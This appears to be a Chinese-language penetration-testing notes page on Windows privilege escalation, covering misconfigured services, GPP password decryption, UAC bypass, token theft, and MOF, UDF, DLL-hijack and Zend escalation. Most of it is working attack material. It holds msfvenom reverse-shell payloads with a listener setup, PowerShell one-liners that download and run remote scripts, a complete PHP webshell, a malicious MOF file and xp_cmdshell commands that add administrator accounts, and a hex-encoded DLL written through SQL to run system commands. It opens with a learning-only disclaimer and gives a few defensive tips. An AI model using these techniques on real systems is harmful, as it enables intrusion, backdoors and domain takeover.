精华内容
下载资源
问答
  • 权软件.txt【将文件后缀改为zip 解压,要解压两次!!!】.abc
  • Windows 权1 利用漏洞权1.1 手工查找系统缺失补丁1.2 Windows 补丁审计工具1.2.1 Windows-Exploit-Suggester1.2.2 Sherlock1.3 MSF 模块查找可利用漏洞2 利用 Windows 配置错误权2.1 系统服务权限配置错误...

    郑重声明:
    本笔记编写目的只用于安全知识提升,并与更多人共享安全知识,切勿使用笔记中的技术进行违法活动,利用笔记中的技术造成的后果与作者本人无关。倡导维护网络安全人人有责,共同维护网络文明和谐。

    Windows 提权

    前提:已经登录到目标系统的服务器上,但是得到的是一个低权限用户,进行提权,最终达到全面控制目标系统

    user-->administrator-->system(他们的权限之间是有交集,不是完全包含,user 被 administrator 包含)
    当获得 user 提权为 administrator
    当获得 administrator 提权为system
    
    生成个木马
    msfvenom -a x86 --platform windows -p windows/x86/shell/reverse_tcp LHOST=192.168.0.2 -b '\x00' -f exe -o evil.exe
    msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.0.2 lport=4444 -a x64 -f exe > Desktop/evil.exe
    

    1 利用漏洞提权

    1.1 手工查找系统缺失补丁

    1. 确认当前系统权限

      • whoami /groups
        • Mandatory Label\Medium Mandatory Level:标准用户
        • Mandatory Label\High Mandatory Level:管理员用户

      image-20211019220828775

    2. 查找当前系统安装过的补丁

      • wmic qfe get

      • systeminfo

        image-20211019221758750

    1.2 Windows 补丁审计工具

    1.2.1 Windows-Exploit-Suggester

    AonCyberLabs/Windows-Exploit-Suggester: This tool compares a targets patch levels against the Microsoft vulnerability database in order to detect potential missing patches on the target. It also notifies the user if there are public exploits and Metasploit modules available for the missing bulletins. (github.com)

    SecWiki/windows-kernel-exploits: windows-kernel-exploits Windows平台提权漏洞集合 (github.com)

    利用前提

    • python2 环境
    # 安装 xlrd 库
    pip2 install xlrd --upgrade
    
    # update the database
    ./windows-exploit-suggester.py -u
    
    # 导出靶机系统信息到本地
    systeminfo > systeminfo.txt
    
    # 查找可以利用的漏洞
    ./windows-exploit-suggester.py --database 2021-07-18-mssb.xls --systeminfo systeminfo.txt
    
    # 查找可以利用本地提权的漏洞
    ./windows-exploit-suggester.py -a -l --database 2021-07-18-mssb.xls --systeminfo systeminfo.txt
    
    # 如果没有打补丁,就会显示可以利用的 ms 编号、 exp 的地址和描述
    

    1.2.2 Sherlock

    rasta-mouse/Sherlock: PowerShell script to quickly find missing software patches for local privilege escalation vulnerabilities. (github.com)

    import-module .\Sherlock.ps1
    Find-AllVulns
    

    image-20211019231550722

    1.3 MSF 模块查找可利用漏洞

    post/multi/recon/local_exploit_suggester
    

    2 利用 Windows 配置错误提权

    2.1 系统服务权限配置错误

    1. 服务未运行:利用任意服务替换原来的服务,然后重启服务。
    2. 服务正运行且无法终止:利用 DLL 劫持技术并尝试重启服务来提权。

    2.1.1 利用 PowerUp 进行本地提权:

    # 下载到本地后执行
    powershell.exe -exec bypass -Command "& {Import-Module .\PowerUp.ps1; Invoke-AllChecks}"
    powershell -nop -exec bypass -c “IEX (New-Object Net.WebClient).DownloadString('c:/PowerUp.ps1');Invoke-AllChecks”
    
    # 远程下载执行
    powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerUp/PowerUp.ps1'); Invoke-AllChecks"
    

    image-20211102105553200

    如图说了利用Install-ServiceBinary模块,通过Write-ServiceBinary编写一个c#服务来添加一个用户

    powershell -nop -exec bypass IEX (New-Object Net.WebClient).DownloadString('./PowerUp.ps1');Install-ServiceBinary -ServiceName 'rpcapd' -UserName test -Password test
    

    “Everyone” 用户对这个文件有完全控制权,就是说所有用户都具有全部权限修改这个文件夹。

    2.1.2 MSF 中的 service_permissions 提权

    MSF 中对应的模块为: exploit/windows/local/service_permissions

    image-20211102111001254

    2.2 注册表键 AlwaysInstallElevated

    注册表键 AlwaysInstallElevated 是一个策略设置项。Windows 允许低权限用户以 System 权限运行安装文件。如果启用此策略设置项,那么任何权限用户都能以 NT AUTHORITY\SYSTEM 权限来安装恶意的 MSI(Microsoft Windows Installer) 文件。

    # 开启 AlwaysInstallElevated 功能
    打开 gpedit.msc,组策略-计算机配置-管理模板-Windows 组件-Windows Installer-永远以高特权进行安装:选择启用
    打开 gpedit.msc,组策略-用户配置-管理模板-Windows 组件-Windows Installer-永远以高特权进行安装:选择启用
    
    # CMD 下开启 AlwaysInstallElevated 功能
    reg add HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 1
    reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 1
    
    • 利用 PowerUP 的 Get-RegAlwaysInstallElevated 模块来检查注册表键是否被设置。
    powershell -nop -exec bypass -c “IEX (New-Object Net.WebClient).DownloadString('c:/PowerUp.ps1');Get-RegAlwaysInstallElevated”
    

    image-20211102112506430

    • 添加账户:利用 Write-UserAddMSI 模块,生成 MSI 文件。再以普通用户权限运行 UserAdd.msi,添加一个管理员账户

    image-20211102113536603

    image-20211102113603726

    • MSF 中对应的模块为:exploit/windows/local/always_install_elevated
    • 防御:只要禁用注册表键 AlwaysInstallElevated,就可以阻止攻击者通过 MSI 文件进行提权。

    2.3 可信任服务路径漏洞

    windows服务通常都是以 System 权限运行的,所以系统在解析服务所对应的文件路径中的空格时,也会以系统权限进行解析。如果一个被恶意命名的执行程序被上传到受影响的目录中,服务一旦重启,就有机会进行权限提升为 System 权限。

    例如,有如下的文件路径:
    C:\Program Files\Some Folder\Service.exe
    对于上面文件路径中的每一个空格,windows 都会尝试寻找并执行名字与空格前的名字向匹配的程序。操作系统会对文件路径中空格的所有可能进行尝试,直到找到一个匹配的程序。以上面的例子为例,windows会依次尝试确定和执行下面的程序:
    C:\Program.exe
    C:\Program Files\Some.exe
    C:\Program Files\Some Folder\Service.exe
    
    • 检测目标机器是否存在可信服务路径漏洞

      # 使用 wmic 列出没有被引号所引起来的服务路径
      wmic service get name,displayname,pathname,startmode|findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr/i /v """
      
    • 检查存在漏洞的目录是否有写入的权限

      利用 Windows内建工具:icacls,下面我们用这个工具依次来检查“C:\Program Files”、“C:\Program Files\Common Files”、“C:\Program Files\Common Files\microsoftshared”等目录的权限。
      
      参数说明:
      “Everyone”用户对这个文件有完全控制权,就是说所有用户都具有全部权限修改这个文件夹。
      “M”表示修改
      “F”代表完全控制
      “CI”代表从属容器将继承访问控制项
      “OI”代表从属文件将继承访问控制项。
      
      Everyone:(OI)(CI)(F)意味着对该目录有读,写,删除其下的文件,删除其子目录的权限。
      

      img

    • 利用漏洞:将要上传的程序重命名并放置在存在此漏洞且可写的目录下,并尝试重启服务进行提权。

    • MSF 对应模块:exploit/windows/local/unquoted_service_path

    2.4 自动安装配置文件

    网络管理员在内网中给多台计算器配置同一个环境时,通常会使用脚本化批量部署的方法,这个过程就会使用安装配置文件。这些文件中包含的安装配置信息,其中还可以包含管理员账号密码等。

    # 搜索Unattend.xml文件
    dir /b /s c:\Unattend.xml
    
    # MSF 中对应模块
    post/windows/gather/enum_unattend
    

    3 组策略首选项提权分析及防范

    SYSVOL 是活动目录里面的一个用于存储公共文件服务副本的共享文件夹,在域中的所有域控制器之间进行复制。SYSVOL 文件夹是在安装活动目录时自动创建的,主要用来存放登录脚本、组策略数据及其他域控制器需要的域信息等。SYSVOL 在所有经过身份验证的域用户或者域信任用户具有读权限的活动目录的域范围内共享。整个 SYSVO L目录在所有的域控制器中是自动同步和共享的,所有的域策略均存放在 C:\Windows\SYSVOL\DOMAIN\Policies 目录中。

    常见的组策略首选项(GPP)

    • 映射驱动器(Drives.xml)
    • 创建本地用户
    • 数据源(DataSources.xml)
    • 打印机配置(Printers.xml)
    • 创建/更新服务(Services.xml)
    • 计划任务(ScheduledTasks.xml)

    3.1 利用组策略批量修改域中机器本地管理员密码

    组策略管理-林:test.lab-域-test.lab-右键:Default Domain Policy
    组策略编辑器-计算机配置-首选项-控制面板设置-本地用户和组
    本地用户和组-右键:新建-本地用户-配置如下图
    
    将 Domain Computer 组添加到验证组策略对象列表中,将新建的组策略应用到域中所有的非域控制器中
    
    手动更新组策略的更新信息
    C:\Users\administrator>gpupdate
    

    image-20211102223620685

    image-20211102224406033

    3.2 获取组策略的凭据

    管理员在域中新建一个组策略后,操作系统会自动在SYSVOL共享目录中生成一个XML文件,该文件中保存了该组策略更新后的密码。该密码使用了AES-256加密算法,安全性比较高。但是微软在网站上公布过这个算法的私钥,任何域用户和域信任的用户均可对该共享目标进行访问,任何用户都可以访问保存在XML文件中的密码并将其解密,从而控制域中所有使用该账户/密码的本地管理员计算机。

    # 手动查找 cpassword
    \\test.lab\SYSVOL\test.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups
    python Gpprefdecrypt.py A48HwlVXS/3M2Asazld/dz+ATwKowJVcVhIM67sfhO8
    
    # PowerSploit
    Import-Module .\PowerSploit.psd1
    Get-GPPPassword
    
    # MSF 
    利用 post/windows/gather/credentials/gpp 模块进行自动查找
    
    # 其他组策略首选项中可选的 cpassword 属性
    Services\Services.xml
    ScheduledTasks\ScheduledTasks.xml
    Printers\Printers.xml
    Drives\Drives.xml
    DataSources\DataSources.xml
    

    image-20211102224850160

    image-20211102223651650

    3.3 防御组策略首选项提权

    • 设置共享文件夹的 SYSVOL 的访问权限
    • 将包含组策略密码的 XML 文件从 SYSVOL 目录中删除
    • 不要将密码放在所有域用户都有权限访问的文件中
    • 建议使用 LAPS 进行更改域中机器的本地管理员密码

    4 绕过 UAC 提权

    4.1 获取 system 账号权限:

    • 提权失败,一般是由于 UAC 限制

    image-20211103095848604

    4.2 绕过 UAC 限制方式

    # 通过不停的弹出UAC窗口,让没有安全意识的人选择yes。
    use exploit/windows/local/ask
    set filename update.exe
    set session 1
    
    # 在用户不知情的情况下关闭 UAC
    use exploit/windows/local/bypassuac
    
    # bypassuac_injection
    use exploit/windows/local/bypassuac_injection
    set target 1
    set payload windows/x64/meterpreter/reverse_tcp
    # 64 位的只能用 64 位的 payload,使用 86 的会报错
    [-] Exploit aborted due to failure: bad-config: x86 Target Selected for x64 System
    

    5 使用 tokens 攻击域控制器

    令牌(Token) 就是系统的临时密钥,相当于账号和密码,用于决定是否允许这次请求及判断当前请求是属于哪一个用户的。它允许你在不提供密码或其他凭证的前提下,访问网络和系统资源。这些令牌将持续存在于系统中,除非系统重新启动。令牌最大的特点就是随机性和不可预测性,一般的攻击无法将令牌猜测出来。tokens 攻击的核心是 Kerberos 协议。

    Kerberos工作机制

    客户端请求证书的过程如下所示。

    • 客户端向认证服务器(AS)发送请求,要求得到服务器的证书。
    • AS收到请求后,将包含客户端密钥的加密证书响应发送给客户端。该证书包括服务器ticket (包括服务器密钥加密的客户机身份和一份会话密钥)和一个临时加密密钥(又称为会话密钥,session key) 。当然,认证服务器也会给服务器发送一份该证书,使服务器可以认证登录客户端的身份。
    • 客户端将ticket传到服务器上,如果服务器确认该客户端身份,便允许它登录服务器。
    • 客户端登录成功后,攻击者就可以通过入侵服务器获取客户端的令牌。
    • 用户每次登录,账号绑定临时的tokens,访问资源时提交 tokens 进行身份验证,类似于 web cookies。delegate tokens 账号注销后变为 Impersonate Token,权限依然有效(delegate tokens:交互登录会话,impersonate tokens:非交互登录会话)。

    5.1 Tokens 攻击过程

    1. tokens 攻击需要拥有目标主机的 getsystem 权限,本地普通权限用户需要先取得本地权限

    2. 加载模块,并查看当前主机中的 tokens

      load incognito
      list_tokens -u
      
    3. 域管理员没有登陆目标设备时

      域管理员没有登陆目标设备时

    4. 通过域控制器访问共享目录,创建一个Token:\\192.168.10.22\C$

      image-20211104100957872

    5. 窃取 Token: impersonate_token LAB\\administrator

      image-20211104101038096

    6. 使用 LAB\administrator 用户开启 CMD:execute -f cmd.exe -i -t (-i,直接进入cmd,执行交互; -t:使用当前假冒tokens执行程序)

      image-20211104101043426

    7. 添加域管理员

      net user admin1 Admin123 /ad /domain
      net group "domain admins" admin1 /ad /domain
      

    6 Windows 服务器提权

    6.1 IIS 中的权限简介

    在渗透测试中 ,我们获取的权限是 iis_user 用户组 ,要更高的权限就需要把当前的用户提权到系统用户或超级管理员用户组。更高的权限方便我们在后续的渗透中,扩大范围测试。

    6.1.1 IIS 特性

    • IIS 中默认文件上传大小不能超过 200k, 否则会报错。

    6.1.2 IIS 中的权限

    Windows 中 权限大小为:aspx->php=>asp

    • aspx 默认能执行终端命令;

    • php 和 asp 在 wscript.shell 命令行执行组件没有删除的情况下,可以通过上传 cmd 到可执行目录,执行终端命令。

      image-20210711151937220

    6.2 Windws 服务器溢出提权

    利用 F4ck 的 pe.asp 进行 Windws 溢出提权

    6.2.1 利用前提

    1. 目标主机存在 webshell 并且可以执行终端命令
    2. 上传溢出 EXP:IIS6.0-pe-exp.exe
    3. 执行命令

    6.2.2 EXP 利用

    6.2.2.1 ASP webshell

    webshell.asp,密码:F4ck

    1. 访问webshell.asp,上传 cmd.exe 到可执行目录下如:C:\RECYCLER\

      image-20210711153628988

    2. 测试执行 cmd 命令

      image-20210711153840187

    3. 上传溢出 EXP 到可执行目录:IIS6.0-pe-exp.exe(注意 IIS 中默认文件上传大小不能超过 200k,超过要以其他方式进行上传。)

    4. 利用 EXP 提权:

      C:\RECYCLER\IIS6.0-pe-exp.exe "net user test 123456 /add & net localgroup administrators test /add"
      

      image-20210711154449964

      image-20210711154912417

    6.2.2.2 ASPX webshell

    webshell.aspx,密码:admin

    1. 访问 webshell.aspx,点击 Cmd Shell, 测试执行系统命令

      image-20210711184929880

      当拥有更大的权限时,还可以点击 IIS Spy 查看 IIS_USER 与 IIS_PASS

    2. 上传 EXP 文件到可执行目录::IIS6.0-pe-exp.exe

      image-20210711185837595

    3. 利用 EXP 提权:

      /c c:/recycler/IIS6.0-pe-exp.exe whoami
      

      image-20210711190149306

    6.3 WinServer 2008 溢出提权

    6.3.1 利用前提

    1. 目标主机存在 WebShell:webshell.aspx
    2. 在 WinServer 2008 R2 中 服务器默认是支持 aspx 的。aspx 默认能执行终端命令。
    3. 上传溢出 EXP:CVE-2014-4113-Exploit
    4. 执行命令

    6.3.2 EXP 利用

    webshell.aspx,密码:admin

    1. 访问 webshell.aspx,点击 Cmd Shell, 查看当前系统与所对应的权限

      whoami
      systeminfo
      
    2. 在 File Manager 中上传 EXP 文件到可执行目录::CVE-2014-4113-Exploit

      可以通过访问上传 getexecutedir.aspx 文件,查找可执行目录

      c:\inetpub\wwwroot\pe.lab.com
      
    3. 利用 EXP 提权:

      在 CmdShell 标签中执行

      /c c:\inetpub\wwwroot\target_sys.com\Win64.exe whoami
      

    6.4 SQLServer 提权

    如果网站里面使用的数据库是 sqlserver,那么如果找到 sa 的密码,利用提权脚本,执行命令。

    注:获得的可能是普通用户权限,此时还需要配合其他方式如:溢出 exp 进行提权。

    6.4.1 通过 webshell 查找可能存在用户信息的文件

    webshell.aspx,密码:admin

    • web.config
    • config.asp
    • conn.aspx
    • database.aspx
    • index.apsx

    image-20210711201935815

    6.4.2 连接 MSsql 数据库

    server=localhost,1433;UID=sa;PWD=123456;database=master
    

    image-20210711202107498

    6.4.3 命令执行

    # 命令执行示例:
    # xp_cmdshell
    Exec master.dbo.xp_cmdshell 'whoami'
    Exec master.dbo.xp_cmdshell 'net user test 123456 /add & net localgroup administrators test /add'
    Exec master.dbo.xp_cmdshell 'systeminfo'
    # sp_oacreate
    Exec sp_configure 'show advanced options',1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;
    

    image-20210711202330938

    image-20210711202429355

    可以得知当前权限为 network service 普通用户,拥有基础命令操作,可以配合溢出提权进行提权操作。

    6.5 DLL 劫持提权

    6.5.1 DLL 劫持提权原理

    6.5.1.1 Windows 的资源共享机制

    • windows 2000 之前,微软建议多个应用程序共享的任何模块应该放在 C:\Windows 的系统目录中,如:Kernel32.dll。
    • windows 2000 之后,微软建议应用程序将所有文件放到自己的目录并强制系统的加载程序首先从应用程序目录中加载模块,并只有当加载模块无法在应用程序目录中找到,才搜索其他目录。利用此特性,可以使应用程序强制加载指定的 DLL 文件,从而实现 DLL 劫持。

    6.5.1.2 DLL 劫持

    Windows 的资源共享机制,即操作系统加载程序首先从应用程序目录中加载模块特性,在注册表中也有体现:

    • HKLM\System\CurrentControlSet\Control\Session Manager\SafeDllSearchMode
      • 如果为1:搜索顺序为:应用程序所在目录 -> 系统目录(用 GetSystemDirectory 获取) -> 16 位系统目录 -> Windows 目录(用 GetWindowsDirectory 获取) -> 运行程序的当前目录 -> PATH环境变量,
      • 如果为0:搜索顺序为:应用程序所在目录 -> 运行程序的当前目录 -> 系统目录(用 GetSystemDirectory 获取) -> 16 位系统目录 -> Windows 目录(用 GetWindowsDirectory 获取) -> PATH 环境变量。
      • Windows Server 2003 默认值为 1,Windows XP/2000 默认值为 0 或者没有这个键值。但是不管是哪种情况,第一个搜索的肯定是应用程序的所在目录,这样就有机会让应用程序去加载我们的 DLL。如果这个 DLL 和系统目录下的某个 DLL 同名,导出表也相同,功能就是加载系统目录下的那个 DLL,并且将导出表转发到那个真实的 DLL。这时DLL劫持就发生了。可以看出,构造一个符合上面要求的 DLL,再将其放在可执行文件的目录即可轻松实现 DLL劫持了。

    6.5.1.3 DLL 劫持实现

    以劫持 LPK.DLL 文件为例:通过编程来实现一个 LPK.DLL 文件,它与系统目录下的 LPK.DLL 导出表相同,并能加载系统目录下的 LPK.DLL ,并且能将导出表转发到真实的 LPK.DLL 。可以看出我们要实现的这个 DLL 需求如下:
    1、构造一个与系统目录下 LPK.DLL 一样的导出表;
    2、加载系统目录下的 LPK.DLL;
    3、将导出函数转发到系统目录下的 LPK.DLL 上;
    4、在初始化函数中加入我们要执行的代码。

    6.5.2 LPK.DLL 劫持提权

    利用工具:T00ls Lpk Sethc v4

    6.5.2.1 生成 LPK.DLL 模块

    • 设备热键值为:A(65)、B(66)
    • 启动密码:123456
    • 其余默认
    • 点击生成 LPK.DLL 模块

    6.5.2.2 利用 LPK.DLL 模块提权

    将 LPK.DLL 模块放到开机启动的程序目录下(该程序需要调用 LPK.DLL 模块),当用户重启设备时,可劫持 LPK.DLL 模块。

    • 通过 mstsc 远程连接目标主机

    • 先按 shift 键五次弹出粘滞键窗口

    • 再同时按设置的热键 Ctrl a 和 b 就会弹出后门

      image-20210712103535096

    • 输入密码:123456

      image-20210712103640167

    • 执行命令。

      image-20210712103739018

    6.6 MOF 提权

    6.6.1 MOF 介绍

    托管对象格式 (MOF) 文件是创建和注册提供程序、事件类别和事件的简便方法。在 MOF 文件中创建类实例和类定义后,可以对该文件进行编译。编译 MOF 文件将在 CIM 储存库中注册所有的类定义和实例。之后,提供程序、事件类别和事件信息便可由 WMI 和 Visual Studio Analyzer 使用。

    6.6.2 MOF 提权的原理

    MOF 是 Windows 系统的一个文件(在 C:/windows/system32/wbem/mof/nullevt.mof)叫做"托管对象格式"其作用是每隔五秒就会去监控进程创建和死亡。拥有了 MySQL 的 root 权限后,将改写的 mof 文件上传,这个文件会被服务器每隔 5 秒以 system 权限执行。这个改写的 mof 有一段是 vbs 脚本,这个 vbs 大多数是 cmd 的添加管理员用户的命令。

    6.6.3 利用过程

    需要 mysql 对 C:/windows/system32/wbem/mof 文件夹具有写的权限。

    6.6.3.1 修改 MOF 文件并上传

    #pragma namespace("\\\\.\\root\\subscription") 
    
    instance of __EventFilter as $EventFilter 
    { 
        EventNamespace = "Root\\Cimv2"; 
        Name  = "filtP2"; 
        Query = "Select * From __InstanceModificationEvent " 
                "Where TargetInstance Isa \"Win32_LocalTime\" " 
                "And TargetInstance.Second = 5"; 
        QueryLanguage = "WQL"; 
    }; 
    
    instance of ActiveScriptEventConsumer as $Consumer 
    { 
        Name = "consPCSV2"; 
        ScriptingEngine = "JScript"; 
        ScriptText = 
        "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user test 123456 /add && net localgroup administrators test /add \")"; 
    }; 
    
    instance of __FilterToConsumerBinding 
    { 
        Consumer   = $Consumer; 
        Filter = $EventFilter; 
    }; 
    

    上传 evil.mof 到可执行目录

    C:\Documents and Settings\All Users\Application Data\evil.mof
    

    6.6.3.2 利用 MOF 文件

    使用 sql 语句将系统当中默认的 nullevt.mof 给替换掉。进而让系统执行我们这个恶意的 mof 文件。

    select load_file('C:\Documents and Settings\All Users\Application Data\evil.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof';
    

    等待系统执行恶意的 mof 文件后,可以看到系统创建了 test 用户,权限为 administrators 组

    6.6.4 利用 mof.php 直接提权

    6.6.4.1 webshell

    上传以下文件并访问 mof.php 文件

    <?php 
    $path="c:/ini.txt"; 
    session_start(); 
    if(!empty($_POST['submit'])){ 
    setcookie("connect"); 
    setcookie("connect[host]",$_POST['host']); 
    setcookie("connect[user]",$_POST['user']); 
    setcookie("connect[pass]",$_POST['pass']); 
    setcookie("connect[dbname]",$_POST['dbname']); 
    echo "<script>location.href='?action=connect'</script>"; 
    } 
    if(empty($_GET["action"])){ 
    ?> 
    
    <html> 
    <head><title>Win MOF Shell</title></head> 
    <body> 
    <form action="?action=connect" method="post"> 
    Host: 
    <input type="text" name="host" value="192.168.1.123:3306"><br/> 
    User: 
    <input type="text" name="user" value="root"><br/> 
    Pass: 
    <input type="password" name="pass" value="toor"><br/> 
    DB:   
    <input type="text" name="dbname" value="mysql"><br/> 
    <input type="submit" name="submit" value="Submit"><br/> 
    </form> 
    </body> 
    </html> 
    
    <?php 
    exit; 
    } 
    if ($_GET[action]=='connect') 
    { 
    $conn=mysql_connect($_COOKIE["connect"]["host"],$_COOKIE["connect"]["user"],$_COOKIE["connect"]["pass"])  or die('<pre>'.mysql_error().'</pre>'); 
    echo "<form action='' method='post'>"; 
    echo "Cmd:"; 
    echo "<input type='text' name='cmd' value='$strCmd'?>"; 
    echo "<br>"; 
    echo "<br>"; 
    echo "<input type='submit' value='Exploit'>"; 
    echo "</form>"; 
    echo "<form action='' method='post'>"; 
    echo "<input type='hidden' name='flag' value='flag'>"; 
    echo "<input type='submit'value=' Read  '>"; 
    echo "</form>"; 
    if (isset($_POST['cmd'])){ 
    $strCmd=$_POST['cmd']; 
    $cmdshell='cmd /c '.$strCmd.'>'.$path; 
    $mofname="c:/windows/system32/wbem/mof/system.mof"; 
    $payload = "#pragma namespace(\"\\\\\\\\\\\\\\\\.\\\\\\\\root\\\\\\\\subscription\") 
    
    instance of __EventFilter as \$EventFilter 
    { 
      EventNamespace = \"Root\\\\\\\\Cimv2\"; 
      Name  = \"filtP2\"; 
      Query = \"Select * From __InstanceModificationEvent \" 
          \"Where TargetInstance Isa \\\\\"Win32_LocalTime\\\\\" \" 
          \"And TargetInstance.Second = 5\"; 
      QueryLanguage = \"WQL\"; 
    }; 
    
    instance of ActiveScriptEventConsumer as \$Consumer 
    { 
      Name = \"consPCSV2\"; 
      ScriptingEngine = \"JScript\"; 
      ScriptText = 
      \"var WSH = new ActiveXObject(\\\\\"WScript.Shell\\\\\")\\\\nWSH.run(\\\\\"$cmdshell\\\\\")\"; 
    }; 
    
    instance of __FilterToConsumerBinding 
    { 
      Consumer = \$Consumer; 
      Filter = \$EventFilter; 
    };"; 
    mysql_select_db($_COOKIE["connect"]["dbname"],$conn); 
    $sql1="select '$payload' into dumpfile '$mofname';"; 
    if(mysql_query($sql1)) 
      echo "<hr>Execute Successful!<br> Please click the read button to check the  result!!<br>If the result is not correct,try read again later<br><hr>"; else die(mysql_error()); 
    mysql_close($conn); 
    } 
    
    if(isset($_POST['flag'])) 
    { 
      $conn=mysql_connect($_COOKIE["connect"]["host"],$_COOKIE["connect"]["user"],$_COOKIE["connect"]["pass"])  or die('<pre>'.mysql_error().'</pre>'); 
      $sql2="select load_file(\"".$path."\");"; 
      $result2=mysql_query($sql2); 
      $num=mysql_num_rows($result2); 
      while ($row = mysql_fetch_array($result2, MYSQL_NUM)) { 
        echo "<hr/>"; 
        echo '<pre>'. $row[0].'</pre>'; 
      } 
      mysql_close($conn); 
    } 
    } 
    ?>
    

    6.6.4.2 执行 Payload

    以 root 用户登陆,执行以下语句:

    net.exe user test 123456 /add && net localgroup administrators test /add
    

    7 MYSQL UDF提权

    MySQL UDF提权执行系统命令_谢公子的博客-CSDN博客_udf提权

    7.1 什么是 UDF

    UDF (user defined function),即用户自定义函数。根据MySQL函数族的可扩展机制,意味着用户可以自己建立包含有自定义函数的动态库来创建自定义函数。

    7.2 利用方式

    原理:通过自定义库函数来实现执行任意的程序

    前提: 在 mysql 库下必须有 func 表,并且在 ‑‑skip‑grant‑tables 开启的情况下,UDF 会被禁止;

    利用途径: 通过获得的插件库路径,找对应操作系统的 udf 库文件,利用 udf 库文件加载函数并执行命令

    # 查看  secure_file_priv  的值
    show global variables like 'secure%';
    `secure_file_priv`  参数的值不能动态更改,只能在 Mysql 的配置文件中修改,重启生效。
        - NULL :默认,表示限制 Mysql 不允许导入导出。 
        - /dir/ :表示限制 Mysql 的导入|导出只能发生在 /dir/ 目录下
        - 空值:表示不限制 Mysql  的导入|导出
    # 若没有权限导出时报错如下:
    # 需要在my.ini 的 [mysqld] 下添加:secure-file-priv=
    The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
    
    # 没有 plugin 文件夹时报错如下:
    # 当 MySQL< 5.1 版本时,将 .dll 文件导入到 c:\windows 或者 c:\windows\system32 目录下。
    # 当 MySQL> 5.1 版本时,将 .dll 文件导入到 C:\phpStudy\PHPTutorial\MySQL\lib\plugin\udf.dll 目录下 (lib\plugin目录默认不存在,需自行创建)。
    Can't create/write to file 'C:\phpStudy\PHPTutorial\MySQL\lib\plugin\moonudf.dll' (Errcode: 2)
    
    # 获取插件库路径
    mysql> show variables like "%plugin%";
    
    # 查看系统构架
    mysql> show variables like "%compile%";
    
    # 找对应操作系统的 payload 库文件
    可以去 kali 中/usr/share/metasploit-framework/data/exploits/mysql/ 下载对应的文件
    
    # 将dll文件写入 plugin 目录,并且创建函数
    创建一个表并将二进制数据插入到十六进制编码流中。可以通过insert语句或将其分解为多个部分,然后使用 update 语句拼接二进制数据。
    create table temp(data longblob);
    insert into temp(data) values (0x4d5a90000300000004000000ffff0000b800000000000000400000000000000000000000000000000000000000000000000000000000000000000000f00000000e1fba0e00b409cd21b8014ccd21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000000000000000000);
    update temp set data = concat(data,0x33c2ede077a383b377a383b377a383b369f110b375a383b369f100b37da383b369f107b375a383b35065f8b374a383b377a382b35ba383b369f10ab376a383b369f116b375a383b369f111b376a383b369f112b376a383b35269636877a383b300000000000000000000000000000000504500006486060070b1834b00000000);
    select data from temp into dumpfile "C:\phpStudy\PHPTutorial\MySQL\lib\plugin\udf.dll";
    
    # 创建函数 sys_eval
    # 引入的函数是 sys_eval
    # shared_library_name(共享包名称): udf.dll
    create function sys_eval returns string soname 'udf.dll';
    #查看创建的sys_eval函数
    select * from mysql.func where name = 'sys_eval';
    
    # 使用系统命令
    # 将 udf.dll 文件写入 plugin 目录后,便可以使用 sys_eval 函数
    select sys_eval('whoami');
    

    8 zend 提权

    测试 php 版本 5.2.17

    8.1 利用原理

    Zend是 php 的引擎(虚拟机解释器)实现先编译再执行。安装 Zend 后,Zend 会自动配置目录权限,当C:\Program Files\Zend\ZendOptimizer-3.3.3\下的目录权限为 Everyone 全权,这导致入侵者能写入文件。如果 ZendExtensionManager.dll 权限可以修改,那就可以用其他恶意的 dll 文件替换 ZendExtensionManager.dll 文件。

    当 iis6.0 在启动、回收进程重启启动的时,有人访问网站的时候就会加载 ZendExtensionManager.dll 文件

    8.2 利用过程:建立远控

    8.2.1 查找 ZendExtensionManager.dll 文件目录

    上传查询目录读写信息的脚本文件,并访问该页面进行查询,确认靶机 ZendExtensionManager.dll 文件与目录具有可读可写权限

    https://dwd.jb51.net/201111/yuanma/asp_rw_cx.rar
    

    8.2.2 生成恶意文件

    利用工具:Zend_DLL_Hijacking_for_nc.exe、cmd.exe、nc.exe

    image-20210717190928823

    8.2.3 利用恶意文件

    1. 重命名靶机的 ZendExtensionManager.dll 文件名为old.dll
    2. 在目标主机 ZendExtensionManager.dll 所在的文件夹上传工具所生成的 ZendExtensionManager.dll 、 nc.exe 、cmd.exe 三个文件
    3. 重启靶机,访问靶机的 php 页面,触发 payload 加载。
    4. 使用本地主机 telnet 远程连接靶机

    8.3 利用过程:执行恶意软件

    8.3.1 查找 ZendExtensionManager.dll 文件目录

    上传查询目录读写信息的脚本文件,并访问该页面进行查询,确认靶机 ZendExtensionManager.dll 文件与目录具有可读可写权限

    https://dwd.jb51.net/201111/yuanma/asp_rw_cx.rar
    

    8.2.2 生成恶意文件

    利用工具:Zend_DLL_Hijacking.exe、bak.exe(恶意软件)

    image-20210717205402650

    8.2.3 利用恶意文件

    1. 重命名靶机的 ZendExtensionManager.dll 文件名为old.dll
    2. 在目标主机 ZendExtensionManager.dll 所在的文件夹上传工具所生成的 ZendExtensionManager.dll 、 bak.exe 两个文件
    3. 重启靶机,访问靶机的 php 页面,触发 payload 加载。
    4. 使用本地主机 telnet 远程连接靶机

    8.2.4 使用 Kali 制作后门软件

    # 制作后门软件,
    msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.100.128 lport=9999 -f exe > bak.exe
    
    # 本地监听端口
    msfconsole
    use exploit/multi/handler
    set payload windows/meterpreter/reverse_tcp
    set lhost 192.168.100.128
    set lport 9999
    run
    

    9 FileZilla 提权

